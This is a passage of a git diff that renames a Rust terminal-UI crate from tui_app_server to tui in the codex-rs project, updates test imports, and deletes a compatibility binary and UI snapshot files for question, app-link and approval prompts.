codex-rs/tui_app_server/src/streaming/mod.rs rename to codex-rs/tui/src/streaming/mod.rs diff --git a/codex-rs/tui_app_server/src/style.rs b/codex-rs/tui/src/style.rs similarity index 100% rename from codex-rs/tui_app_server/src/style.rs rename to codex-rs/tui/src/style.rs diff --git a/codex-rs/tui_app_server/src/terminal_palette.rs b/codex-rs/tui/src/terminal_palette.rs similarity index 100% rename from codex-rs/tui_app_server/src/terminal_palette.rs rename to codex-rs/tui/src/terminal_palette.rs diff --git a/codex-rs/tui_app_server/src/terminal_title.rs b/codex-rs/tui/src/terminal_title.rs similarity index 100% rename from codex-rs/tui_app_server/src/terminal_title.rs rename to codex-rs/tui/src/terminal_title.rs diff --git a/codex-rs/tui_app_server/src/test_backend.rs b/codex-rs/tui/src/test_backend.rs similarity index 100% rename from codex-rs/tui_app_server/src/test_backend.rs rename to codex-rs/tui/src/test_backend.rs diff --git a/codex-rs/tui_app_server/src/test_support.rs b/codex-rs/tui/src/test_support.rs similarity index 100% rename from codex-rs/tui_app_server/src/test_support.rs rename to codex-rs/tui/src/test_support.rs diff --git a/codex-rs/tui_app_server/src/text_formatting.rs b/codex-rs/tui/src/text_formatting.rs similarity index 100% rename from codex-rs/tui_app_server/src/text_formatting.rs rename to codex-rs/tui/src/text_formatting.rs diff --git a/codex-rs/tui_app_server/src/theme_picker.rs b/codex-rs/tui/src/theme_picker.rs similarity index 100% rename from codex-rs/tui_app_server/src/theme_picker.rs rename to codex-rs/tui/src/theme_picker.rs diff --git a/codex-rs/tui_app_server/src/tooltips.rs b/codex-rs/tui/src/tooltips.rs similarity index 100% rename from codex-rs/tui_app_server/src/tooltips.rs rename to codex-rs/tui/src/tooltips.rs diff --git a/codex-rs/tui_app_server/src/tui.rs b/codex-rs/tui/src/tui.rs similarity index 100% rename from codex-rs/tui_app_server/src/tui.rs rename to codex-rs/tui/src/tui.rs diff --git a/codex-rs/tui_app_server/src/tui/event_stream.rs b/codex-rs/tui/src/tui/event_stream.rs similarity index 100% rename from codex-rs/tui_app_server/src/tui/event_stream.rs rename to codex-rs/tui/src/tui/event_stream.rs diff --git a/codex-rs/tui_app_server/src/tui/frame_rate_limiter.rs b/codex-rs/tui/src/tui/frame_rate_limiter.rs similarity index 100% rename from codex-rs/tui_app_server/src/tui/frame_rate_limiter.rs rename to codex-rs/tui/src/tui/frame_rate_limiter.rs diff --git a/codex-rs/tui_app_server/src/tui/frame_requester.rs b/codex-rs/tui/src/tui/frame_requester.rs similarity index 100% rename from codex-rs/tui_app_server/src/tui/frame_requester.rs rename to codex-rs/tui/src/tui/frame_requester.rs diff --git a/codex-rs/tui_app_server/src/tui/job_control.rs b/codex-rs/tui/src/tui/job_control.rs similarity index 100% rename from codex-rs/tui_app_server/src/tui/job_control.rs rename to codex-rs/tui/src/tui/job_control.rs diff --git a/codex-rs/tui_app_server/src/ui_consts.rs b/codex-rs/tui/src/ui_consts.rs similarity index 100% rename from codex-rs/tui_app_server/src/ui_consts.rs rename to codex-rs/tui/src/ui_consts.rs diff --git a/codex-rs/tui_app_server/src/update_action.rs b/codex-rs/tui/src/update_action.rs similarity index 100% rename from codex-rs/tui_app_server/src/update_action.rs rename to codex-rs/tui/src/update_action.rs diff --git a/codex-rs/tui_app_server/src/update_prompt.rs b/codex-rs/tui/src/update_prompt.rs similarity index 100% rename from codex-rs/tui_app_server/src/update_prompt.rs rename to codex-rs/tui/src/update_prompt.rs diff --git a/codex-rs/tui_app_server/src/updates.rs b/codex-rs/tui/src/updates.rs similarity index 100% rename from codex-rs/tui_app_server/src/updates.rs rename to codex-rs/tui/src/updates.rs diff --git a/codex-rs/tui_app_server/src/version.rs b/codex-rs/tui/src/version.rs similarity index 100% rename from codex-rs/tui_app_server/src/version.rs rename to codex-rs/tui/src/version.rs diff --git a/codex-rs/tui_app_server/src/voice.rs b/codex-rs/tui/src/voice.rs similarity index 100% rename from codex-rs/tui_app_server/src/voice.rs rename to codex-rs/tui/src/voice.rs diff --git a/codex-rs/tui_app_server/src/wrapping.rs b/codex-rs/tui/src/wrapping.rs similarity index 100% rename from codex-rs/tui_app_server/src/wrapping.rs rename to codex-rs/tui/src/wrapping.rs diff --git a/codex-rs/tui_app_server/styles.md b/codex-rs/tui/styles.md similarity index 100% rename from codex-rs/tui_app_server/styles.md rename to codex-rs/tui/styles.md diff --git a/codex-rs/tui_app_server/tests/all.rs b/codex-rs/tui/tests/all.rs similarity index 100% rename from codex-rs/tui_app_server/tests/all.rs rename to codex-rs/tui/tests/all.rs diff --git a/codex-rs/tui_app_server/tests/fixtures/oss-story.jsonl b/codex-rs/tui/tests/fixtures/oss-story.jsonl similarity index 100% rename from codex-rs/tui_app_server/tests/fixtures/oss-story.jsonl rename to codex-rs/tui/tests/fixtures/oss-story.jsonl diff --git a/codex-rs/tui_app_server/tests/manager_dependency_regression.rs b/codex-rs/tui/tests/manager_dependency_regression.rs similarity index 95% rename from codex-rs/tui_app_server/tests/manager_dependency_regression.rs rename to codex-rs/tui/tests/manager_dependency_regression.rs index 2329fc847..35a05b703 100644 --- a/codex-rs/tui_app_server/tests/manager_dependency_regression.rs +++ b/codex-rs/tui/tests/manager_dependency_regression.rs @@ -20,7 +20,7 @@ fn rust_sources_under(dir: &Path) -> Vec { } #[test] -fn tui_app_server_runtime_source_does_not_depend_on_manager_escape_hatches() { +fn tui_runtime_source_does_not_depend_on_manager_escape_hatches() { let src_dir = codex_utils_cargo_bin::find_resource!("src") .unwrap_or_else(|err| panic!("failed to resolve src runfile: {err}")); let sources = rust_sources_under(&src_dir); diff --git a/codex-rs/tui_app_server/tests/suite/mod.rs b/codex-rs/tui/tests/suite/mod.rs similarity index 100% rename from codex-rs/tui_app_server/tests/suite/mod.rs rename to codex-rs/tui/tests/suite/mod.rs diff --git a/codex-rs/tui_app_server/tests/suite/model_availability_nux.rs b/codex-rs/tui/tests/suite/model_availability_nux.rs similarity index 100% rename from codex-rs/tui_app_server/tests/suite/model_availability_nux.rs rename to codex-rs/tui/tests/suite/model_availability_nux.rs diff --git a/codex-rs/tui_app_server/tests/suite/no_panic_on_startup.rs b/codex-rs/tui/tests/suite/no_panic_on_startup.rs similarity index 100% rename from codex-rs/tui_app_server/tests/suite/no_panic_on_startup.rs rename to codex-rs/tui/tests/suite/no_panic_on_startup.rs diff --git a/codex-rs/tui_app_server/tests/suite/status_indicator.rs b/codex-rs/tui/tests/suite/status_indicator.rs similarity index 100% rename from codex-rs/tui_app_server/tests/suite/status_indicator.rs rename to codex-rs/tui/tests/suite/status_indicator.rs diff --git a/codex-rs/tui_app_server/tests/suite/vt100_history.rs b/codex-rs/tui/tests/suite/vt100_history.rs similarity index 94% rename from codex-rs/tui_app_server/tests/suite/vt100_history.rs rename to codex-rs/tui/tests/suite/vt100_history.rs index 8c41fa89e..6df9dedf1 100644 --- a/codex-rs/tui_app_server/tests/suite/vt100_history.rs +++ b/codex-rs/tui/tests/suite/vt100_history.rs @@ -23,20 +23,20 @@ macro_rules! assert_contains { } struct TestScenario { - term: codex_tui_app_server::custom_terminal::Terminal, + term: codex_tui::custom_terminal::Terminal, } impl TestScenario { fn new(width: u16, height: u16, viewport: Rect) -> Self { let backend = VT100Backend::new(width, height); - let mut term = codex_tui_app_server::custom_terminal::Terminal::with_options(backend) + let mut term = codex_tui::custom_terminal::Terminal::with_options(backend) .expect("failed to construct terminal"); term.set_viewport_area(viewport); Self { term } } fn run_insert(&mut self, lines: Vec>) { - codex_tui_app_server::insert_history::insert_history_lines(&mut self.term, lines) + codex_tui::insert_history::insert_history_lines(&mut self.term, lines) .expect("Failed to insert history lines in test"); } } diff --git a/codex-rs/tui_app_server/tests/suite/vt100_live_commit.rs b/codex-rs/tui/tests/suite/vt100_live_commit.rs similarity index 83% rename from codex-rs/tui_app_server/tests/suite/vt100_live_commit.rs rename to codex-rs/tui/tests/suite/vt100_live_commit.rs index e75845c08..2be9658b2 100644 --- a/codex-rs/tui_app_server/tests/suite/vt100_live_commit.rs +++ b/codex-rs/tui/tests/suite/vt100_live_commit.rs @@ -7,7 +7,7 @@ use ratatui::text::Line; #[test] fn live_001_commit_on_overflow() { let backend = VT100Backend::new(20, 6); - let mut term = match codex_tui_app_server::custom_terminal::Terminal::with_options(backend) { + let mut term = match codex_tui::custom_terminal::Terminal::with_options(backend) { Ok(t) => t, Err(e) => panic!("failed to construct terminal: {e}"), }; @@ -15,7 +15,7 @@ fn live_001_commit_on_overflow() { term.set_viewport_area(area); // Build 5 explicit rows at width 20. - let mut rb = codex_tui_app_server::live_wrap::RowBuilder::new(20); + let mut rb = codex_tui::live_wrap::RowBuilder::new(20); rb.push_fragment("one\n"); rb.push_fragment("two\n"); rb.push_fragment("three\n"); @@ -26,7 +26,7 @@ fn live_001_commit_on_overflow() { let commit_rows = rb.drain_commit_ready(3); let lines: Vec> = commit_rows.into_iter().map(|r| r.text.into()).collect(); - codex_tui_app_server::insert_history::insert_history_lines(&mut term, lines) + codex_tui::insert_history::insert_history_lines(&mut term, lines) .expect("Failed to insert history lines in test"); let screen = term.backend().vt100().screen(); diff --git a/codex-rs/tui_app_server/tests/test_backend.rs b/codex-rs/tui/tests/test_backend.rs similarity index 100% rename from codex-rs/tui_app_server/tests/test_backend.rs rename to codex-rs/tui/tests/test_backend.rs diff --git a/codex-rs/tui_app_server/tooltips.txt b/codex-rs/tui/tooltips.txt similarity index 100% rename from codex-rs/tui_app_server/tooltips.txt rename to codex-rs/tui/tooltips.txt diff --git a/codex-rs/tui_app_server/src/bin/codex-tui.rs b/codex-rs/tui_app_server/src/bin/codex-tui.rs deleted file mode 100644 index 8ecb67c57..000000000 --- a/codex-rs/tui_app_server/src/bin/codex-tui.rs +++ /dev/null @@ -1,45 +0,0 @@ -//! Compatibility binary that preserves the `codex-tui` entrypoint while the crate -//! directory and package name remain `tui_app_server` for now. - -use clap::Parser; -use codex_arg0::Arg0DispatchPaths; -use codex_arg0::arg0_dispatch_or_else; -use codex_tui_app_server::Cli; -use codex_tui_app_server::run_main; -use codex_utils_cli::CliConfigOverrides; - -#[derive(Parser, Debug)] -struct TopCli { - #[clap(flatten)] - config_overrides: CliConfigOverrides, - - #[clap(flatten)] - inner: Cli, -} - -fn main() -> anyhow::Result<()> { - arg0_dispatch_or_else(|arg0_paths: Arg0DispatchPaths| async move { - let top_cli = TopCli::parse(); - let mut inner = top_cli.inner; - inner - .config_overrides - .raw_overrides - .splice(0..0, top_cli.config_overrides.raw_overrides); - let exit_info = run_main( - inner, - arg0_paths, - codex_core::config_loader::LoaderOverrides::default(), - /*remote*/ None, - /*remote_auth_token*/ None, - ) - .await?; - let token_usage = exit_info.token_usage; - if !token_usage.is_zero() { - println!( - "{}", - codex_protocol::protocol::FinalOutput::from(token_usage), - ); - } - Ok(()) - }) -} diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_footer_wrap.snap b/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_footer_wrap.snap deleted file mode 100644 index 6b398eda5..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_footer_wrap.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/request_user_input/mod.rs -expression: "render_snapshot(&overlay, area)" ---- - - Question 1/2 (2 unanswered) - Choose an option. - - 1. Option 1 First choice. - › 2. Option 2 Second choice. - 3. Option 3 Third choice. - - tab to add notes | enter to submit answer - ←/→ to navigate questions | esc to interrupt diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_freeform.snap b/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_freeform.snap deleted file mode 100644 index 67db511e2..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_freeform.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/request_user_input/mod.rs -expression: "render_snapshot(&overlay, area)" ---- - - Question 1/1 (1 unanswered) - Share details. - - › Type your answer (optional) - - - - enter to submit answer | esc to interrupt diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_hidden_options_footer.snap b/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_hidden_options_footer.snap deleted file mode 100644 index 137b76306..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_hidden_options_footer.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/request_user_input/mod.rs -expression: "render_snapshot(&overlay, area)" ---- - - Question 1/1 (1 unanswered) - What would you like to do next? - - 2. Run tests Pick a crate and run its tests. - 3. Review a diff Summarize or review current changes. - › 4. Refactor Tighten structure and remove dead code. - - option 4/5 | tab to add notes | enter to submit answer | esc to interrupt diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_long_option_text.snap b/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_long_option_text.snap deleted file mode 100644 index 07c6baa95..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_long_option_text.snap +++ /dev/null @@ -1,17 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/request_user_input/mod.rs -expression: "render_snapshot(&overlay, area)" ---- - - Question 1/1 (1 unanswered) - Choose one option. - - › 1. Job: running/completed/failed/expired; Run/Experiment: succeeded/failed/ Keep async job statuses for - unknown (Recommended when triaging long-running background work and status progress tracking and include - transitions) enough context for debugging - retries, stale workers, and - unexpected expiration paths. - 2. Add a short status model Simpler labels with less detail for - quick rollouts. - - tab to add notes | enter to submit answer | esc to interrupt diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_multi_question_first.snap b/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_multi_question_first.snap deleted file mode 100644 index 28f07c0f7..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_multi_question_first.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/request_user_input/mod.rs -expression: "render_snapshot(&overlay, area)" ---- - - Question 1/2 (2 unanswered) - Choose an option. - - › 1. Option 1 First choice. - 2. Option 2 Second choice. - 3. Option 3 Third choice. - - tab to add notes | enter to submit answer | ←/→ to navigate questions | esc to interrupt diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_multi_question_last.snap b/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_multi_question_last.snap deleted file mode 100644 index 0cb6c98b8..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_multi_question_last.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/request_user_input/mod.rs -expression: "render_snapshot(&overlay, area)" ---- - - Question 2/2 (2 unanswered) - Share details. - - › Type your answer (optional) - - - - - - enter to submit all | ctrl + p / ctrl + n change question | esc to interrupt diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_options.snap b/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_options.snap deleted file mode 100644 index dd790c1d1..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_options.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/request_user_input/mod.rs -expression: "render_snapshot(&overlay, area)" ---- - - Question 1/1 (1 unanswered) - Choose an option. - - › 1. Option 1 First choice. - 2. Option 2 Second choice. - 3. Option 3 Third choice. - - tab to add notes | enter to submit answer | esc to interrupt diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_options_notes_visible.snap b/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_options_notes_visible.snap deleted file mode 100644 index 974fa9293..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_options_notes_visible.snap +++ /dev/null @@ -1,19 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/request_user_input/mod.rs -expression: "render_snapshot(&overlay, area)" ---- - - Question 1/1 (1 unanswered) - Choose an option. - - › 1. Option 1 First choice. - 2. Option 2 Second choice. - 3. Option 3 Third choice. - - › Add notes - - - - - - tab or esc to clear notes | enter to submit answer diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_scrolling_options.snap b/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_scrolling_options.snap deleted file mode 100644 index 721dc1b4e..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_scrolling_options.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/request_user_input/mod.rs -expression: "render_snapshot(&overlay, area)" ---- - - Question 1/1 (1 unanswered) - What would you like to do next? - - 1. Discuss a code change (Recommended) Walk through a plan and edit code together. - 2. Run tests Pick a crate and run its tests. - 3. Review a diff Summarize or review current changes. - › 4. Refactor Tighten structure and remove dead code. - 5. Ship it Finalize and open a PR. - - tab to add notes | enter to submit answer | esc to interrupt diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_tight_height.snap b/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_tight_height.snap deleted file mode 100644 index dd790c1d1..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_tight_height.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/request_user_input/mod.rs -expression: "render_snapshot(&overlay, area)" ---- - - Question 1/1 (1 unanswered) - Choose an option. - - › 1. Option 1 First choice. - 2. Option 2 Second choice. - 3. Option 3 Third choice. - - tab to add notes | enter to submit answer | esc to interrupt diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_unanswered_confirmation.snap b/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_unanswered_confirmation.snap deleted file mode 100644 index d6723046f..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_unanswered_confirmation.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/request_user_input/mod.rs -expression: "render_snapshot(&overlay, area)" ---- - - Submit with unanswered questions? - 2 unanswered questions - - › 1. Proceed Submit with 2 unanswered questions. - 2. Go back Return to the first unanswered question. - - - - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_wrapped_options.snap b/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_wrapped_options.snap deleted file mode 100644 index 47d949868..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_wrapped_options.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/request_user_input/mod.rs -expression: "render_snapshot(&overlay, area)" ---- - - Question 1/1 (1 unanswered) - Choose the next step for this task. - - › 1. Discuss a code change Walk through a plan, then implement it together with careful checks. - 2. Run targeted tests Pick the most relevant crate and validate the current behavior first. - 3. Review the diff Summarize the changes and highlight the most important risks and gaps. - - tab to add notes | enter to submit answer | esc to interrupt diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_pending_steers_above_queued_messages.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_pending_steers_above_queued_messages.snap deleted file mode 100644 index 12744049f..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_pending_steers_above_queued_messages.snap +++ /dev/null @@ -1,34 +0,0 @@ ---- -source: tui/src/bottom_pane/pending_input_preview.rs -expression: "format!(\"{buf:?}\")" ---- -Buffer { - area: Rect { x: 0, y: 0, width: 52, height: 8 }, - content: [ - "• Messages to be submitted after next tool call ", - " (press esc to interrupt and send immediately) ", - " ↳ Please continue. ", - " ↳ Check the last command output. ", - " ", - "• Queued follow-up messages ", - " ↳ Queued follow-up question ", - " ⌥ + ↑ edit last queued message ", - ], - styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 2, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 47, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 20, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 34, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 2, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 6, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 4, y: 6, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 29, y: 6, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 7, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 34, y: 7, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - ] -} diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__app_link_view__tests__app_link_view_enable_suggestion_with_reason.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__app_link_view__tests__app_link_view_enable_suggestion_with_reason.snap deleted file mode 100644 index 4bf692c88..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__app_link_view__tests__app_link_view_enable_suggestion_with_reason.snap +++ /dev/null @@ -1,20 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/app_link_view.rs -expression: "render_snapshot(&view, Rect::new(0, 0, 72, view.desired_height(72)))" ---- - - Google Calendar - Plan events and schedules. - - Plan and reference events from your calendar - - Use $ to insert this app into the prompt. - - Enable this app to use it for the current request. - Newly installed apps can take a few minutes to appear in /apps. - - - › 1. Manage on ChatGPT - 2. Enable app - 3. Back - Use tab / ↑ ↓ to move, enter to select, esc to close diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__app_link_view__tests__app_link_view_install_suggestion_with_reason.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__app_link_view__tests__app_link_view_install_suggestion_with_reason.snap deleted file mode 100644 index b79163047..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__app_link_view__tests__app_link_view_install_suggestion_with_reason.snap +++ /dev/null @@ -1,18 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/app_link_view.rs -expression: "render_snapshot(&view, Rect::new(0, 0, 72, view.desired_height(72)))" ---- - - Google Calendar - Plan events and schedules. - - Plan and reference events from your calendar - - Install this app in your browser, then return here. - Newly installed apps can take a few minutes to appear in /apps. - After installed, use $ to insert this app into the prompt. - - - › 1. Install on ChatGPT - 2. Back - Use tab / ↑ ↓ to move, enter to select, esc to close diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__approval_overlay_additional_permissions_prompt.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__approval_overlay_additional_permissions_prompt.snap deleted file mode 100644 index 6a9ab35f6..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__approval_overlay_additional_permissions_prompt.snap +++ /dev/null @@ -1,17 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/approval_overlay.rs -expression: "normalize_snapshot_paths(render_overlay_lines(&view, 120))" ---- - - Would you like to run the following command? - - Reason: need filesystem access - - Permission rule: network; read `/tmp/readme.txt`; write `/tmp/out.txt` - - $ cat /tmp/readme.txt - -› 1. Yes, proceed (y) - 2. No, and tell Codex what to do differently (esc) - - Press enter to confirm or esc to cancel diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__approval_overlay_cross_thread_prompt.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__approval_overlay_cross_thread_prompt.snap deleted file mode 100644 index 54c6cffab..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__approval_overlay_cross_thread_prompt.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/approval_overlay.rs -expression: "render_overlay_lines(&view, 80)" ---- - - Would you like to run the following command? - - Thread: Robie [explorer] - - $ echo hi - -› 1. Yes, proceed (y) - 2. No, and tell Codex what to do differently (esc) - - Press enter to confirm or esc to cancel or o to open thread diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__approval_overlay_permissions_prompt.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__approval_overlay_permissions_prompt.snap deleted file mode 100644 index a161611c4..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__approval_overlay_permissions_prompt.snap +++ /dev/null @@ -1,16 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/approval_overlay.rs -expression: "normalize_snapshot_paths(render_overlay_lines(&view, 120))" ---- - - Would you like to grant these permissions? - - Reason: need workspace access - - Permission rule: network; read `/tmp/readme.txt`; write `/tmp/out.txt` - -› 1. Yes, grant these permissions (y) - 2. Yes, grant these permissions for this session (a) - 3. No, continue without permissions (n) - - Press enter to confirm or esc to cancel diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__network_exec_prompt.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__network_exec_prompt.snap deleted file mode 100644 index 5f5dd325a..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__network_exec_prompt.snap +++ /dev/null @@ -1,37 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/approval_overlay.rs -expression: "format!(\"{buf:?}\")" ---- -Buffer { - area: Rect { x: 0, y: 0, width: 100, height: 12 }, - content: [ - " ", - " Do you want to approve network access to "example.com"? ", - " ", - " Reason: network request blocked ", - " ", - " ", - "› 1. Yes, just this once (y) ", - " 2. Yes, and allow this host for this conversation (a) ", - " 3. Yes, and allow this host in the future (p) ", - " 4. No, and tell Codex what to do differently (esc) ", - " ", - " Press enter to confirm or esc to cancel ", - ], - styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 2, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: BOLD, - x: 57, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 10, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: ITALIC, - x: 33, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 6, fg: Cyan, bg: Reset, underline: Reset, modifier: BOLD, - x: 28, y: 6, fg: Reset, 